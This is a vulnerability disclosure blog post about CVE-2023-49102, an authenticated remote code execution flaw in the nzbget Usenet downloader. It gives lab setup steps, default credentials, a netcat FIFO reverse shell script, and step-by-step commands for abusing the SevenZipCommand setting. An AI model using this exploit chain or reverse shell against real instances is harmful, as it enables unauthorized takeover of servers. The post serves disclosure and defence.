Objective

From the GitHub repository of nzbget:

NZBGet is a binary downloader, which downloads files from Usenet based on information given in nzb-files.

Frontpage of nzbget

To put that in context: the Usenet is the predecessor of the World Wide Web (the HTTP-based stuff, you know that one) and can be imagined as a big forum; people can write and respond to posts, using usenet reader applications. The posts can contain binary data as well, for example images. While its relatively old and has peaked a long time ago, it‘s still in use, especially in the Warez scene.

nzbget is a newsreader, as in: it accesses usenet posts, and a binary downloader, as in: it downloads the attachments of specified posts. You see how this fits into the Warez scene?

The software is not maintained anymore and received its last update on 1st of October, 2021; the repository itself is in archived state since 18th of November, 2022. However, it’s still widely used: I was able to find over 1500 publicly available instances on the internet, while countless additional instances are running behind a firewall or inside a private network.

Timeline

  • 11-11-2023: Discovery of RCE in lab environment
  • 13-11-2023: Attempt to contact maintainer hugbug
  • 21-11-2023: CVEs assigned
  • 22-11-2023: Disclosure of technical details through this blogpost

Lab Setup

As nzbget is a software which downloads stuff from a newsserver, obviously, a newsserver is required. While the choice doesn’t really matter, I picked go-nntp’s example newsserver as a base because it had a minimal footprint and didn’t store data persistently, meaning a simple restart would reset the newsserver. This doesn’t sound desireable, but in case of a lab, it really is. I needed to modify the code a bit, my patches are on my Git server.

The advantages are that any username or password is accepted and posts are only stored in-memory.

git clone https://git.maride.cc/maride/go-nntp-plusplus
cd go-nntp-plusplus/examples/server
go run .

The server is now happily waiting for connections on port 1119.

As the newsserver is pretty empty at start, some tool is required to upload some binaries to the server. There are, again, some options to choose from; I picked nyuu as it is fast, reliable and maintained.

When uploading files to the newsserver, nyuu creates a .nzb file used as a reference to those files. This NZB file is enough for nzbget to download the files from the newsserver again, given that the used newsserver is configured in nzbget.

The last required puzzle piece is nzbget itself. I chose to use the Docker container from linuxserver, which is arguably the most prominent container for nzbget with 500M+ pulls. Run it with sudo docker run -ti -p 6789:6789 lscr.io/linuxserver/nzbget:latest bash, and open the web UI hosted on http://127.0.0.1:6789/ to configure the nzbget instance further. Default credentials are nzbget:tegbzn6789. Go to Settings > News-Servers and update the fields accordingly:

  • Server1.Host: 172.17.0.1
  • Server1.Port: 1119
  • Server1.JoinGroup: Yes

Then, save changes and reload nzbget.

Side Note: Debugging command injection vulnerabilities

Both discovered vulnerabilities heavily rely on understanding the handover between nzbget and unrar/7z. One way to debug this handover further would be to insert print and log statements into nzbgets code itself. However, I like to keep the observed executable as original as possible. Not touching it at all is the best choice IMHO.

I chose another way and created wrappers for 7z and unrar.

First, move the unrar and 7za command (found in ${AppDir}/unrar and ${AppDir}/7za, which is at /app/nzbget in my case) to unrar.orig and 7za.orig. Then, create two files at the original path and with the original name and this content:

#!/bin/bash

OUT=/tmp/$(basename $0).log

echo "-----" >> $OUT
date +"%T.%N" >> $OUT
echo "$0 $@" >> $OUT
$0.orig "$@" | tee --append $OUT

This will write the full call and output of both commands to /tmp/7za.log and /tmp/unrar.log, respectively, while calling the correct executable with untouched arguments. Basically, it’s a drop-in wrapper, allowing you to see what’s going on under the hood. You can keep an eye on those files with watch -n 2 cat /tmp/7za.log /tmp/unrar.log.

Vulnerability

CVE-2023-49102

Description

Authenticated remote code execution through unarchive command.

Two unarchive programs are supported by nzbget: 7za and unrar. Both preserve permissions on the files. That means a shell script with execute bit set will remain executable in the nzbget container, which can be executed by setting SevenZipCmd or UnrarCmd accordingly. User Level Control is required for this.

Evaluation

CVSS v2: AV:N/AC:L/Au:S/C:C/I:C/A:C = Base Score 9.0

Exploitation

Now the trick is fairly simple: upload a reverse shell, change the 7za executable path to the full path of the reverse shell, then upload a 7z-packed kicker file.

You could get creative with a reverse shell… or use a simple FIFO-based reverse shell from PayloadAllTheThings:

#!/bin/bash
rm /tmp/rev
mkfifo /tmp/rev
cat /tmp/rev |sh -i 2>&1 | nc 172.17.0.1 9999 >/tmp/rev

Make it executable with chmod +x revshell.sh, then pack it: rar a revshell.rar revshell.sh.

Next, upload the resulting archive to the newsserver with nyuu --host 127.0.0.1 --port 1119 --from "revshell@invalid.nzb" --groups "alt.test" --out revshell.nzb revshell.rar

The resulting revshell.nzb can now be uploaded to nzbget, where it will be loaded to ${MainDir}/completed/revshell/revshell.sh.

Now go to Settings/Unpack and change SevenZipCommand from ${AppDir}/7za to ${MainDir}/completed/revshell/revshell.sh. Note: you need to be the Control user, which is the user type with no limitations. The Restricted user type doesn’t have access to the SevenZipCommand setting.

When all of this is set, it just needs a request to download a 7z file. To speed things up, create one on your own:

Run touch kicker, 7z a kicker.7z kicker, then upload it: nyuu --host 127.0.0.1 --port 1119 --from "revshell@invalid.nzb" --groups "alt.test" --out kicker.nzb kicker.7z. After that, send the kicker.nzb to nzbget and enjoy your reverse shell.

Mitigation

Make sure to change credentials for the Control user. Evaluate if the instance really needs to be exposed on the internet.

Conclusion

nzbget is deprecated and you should’ve switched by now already. The discovery of this vulnerability, although it doesn’t have a CVSS score of 10.0, is a good reminder to move on to an alternative which is still maintained.